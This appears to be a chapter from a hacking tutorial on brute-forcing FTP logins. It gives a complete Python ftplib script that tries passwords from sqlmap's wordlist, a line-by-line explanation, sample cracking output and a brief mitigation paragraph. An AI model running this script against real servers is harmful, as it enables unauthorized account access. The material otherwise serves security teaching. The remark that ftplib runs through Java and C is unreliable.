15.Python Password Cracking

The settings for a typical FTP service daemon do not monitor the number of times that a password error has been entered. The “wordlist.txt” file provided by sqlmap can be used as a data dictionary to find the password through repetitive login attempts. Python provides an “ftplib” module that can be used for the FTP service.

Figure 15-1 FTP Password Cracking

For convenience, the ID is assumed to be already known. Find the password and move it to the front of the “wordlist.txt” file. Since the password is located toward the end of the file, it can take a long time to find it. When the FTP login fails, a “530 User cannot log in” message is returned, and Python generates an exception. If login succeeds, a “220 User logged in” message is printed. Now Python has an authenticated session and can perform the following actions.

from ftplib import FTP wordlist = open(‘wordlist.txt’, ‘r’)          #(1) user_login = "server" def getPassword(password):                    #(2)     try:         ftp = FTP("server")                   #(3)         ftp.login(user_login,password)        #(4)         print "user password:", password         return True     except Exception:                 #(5)         return False    passwords = wordlist.readlines() for password in passwords:          password = password.strip()     print "test password:", password     if(getPassword(password)):        #(6)         break wordlist.close()

Example 15-1 FTP Passwrod Cracking

Python provides a simple mechanism to login and establish an FTP connection. Internally, the “ftplib” module provides a number of functions that can be executed using the Java and C languages. Users can easily access FTP using simple import statements. A detailed processing of the example is as follows.

(1) Opening File: Open the “wordlist.txt” file.

(2) Declaring Function: Make an FTP connection with the server PC and declare the login fuction.

(3) Connecting FTP: Make an FTP connection with the server PC. Enter the IP and DNS as arguments.

(4) Login: Try to login with the arguments that were previously received. If the login succeeds, the program will execute the next line. If the login fails, program will result in an exception.

(5) Exception: In the case of an abnormal login, an exception occurs, and the example above returns “false”.

(6) Executing Function: Execute the “getPassword” function. The program passes the data from “wordlist.txt” as an argument. If the function returns “true”, the loop will be terminated.

If the system does not limit the number of times that a password error can occur, then the system is vulnerable to a Password Cracking attack. The administrator must apply the system security settings and should install security equipment, such as a firewall, IPS, or IDS. Therefore, refrain from using typical FTP settings and use a more secure protocol, such as Secure FTP.

test password: ! test password: ! Keeper test password: !! test password: !!! test password: !!!!!! test password: !!!!!!!!!!!!!!!!!!!! test password: !!!!!2 test password: !!!!lax7890 test password: !!!!very8989 test password: !!!111sssMMM test password: !!!234what test password: !!!666!!! test password: !!!666666!!! test password: !!!angst66 test password: !!!gerard!!! test password: !!!sara test password: server user password: server

Figure 15-2 FTP Passwrod Cracking Result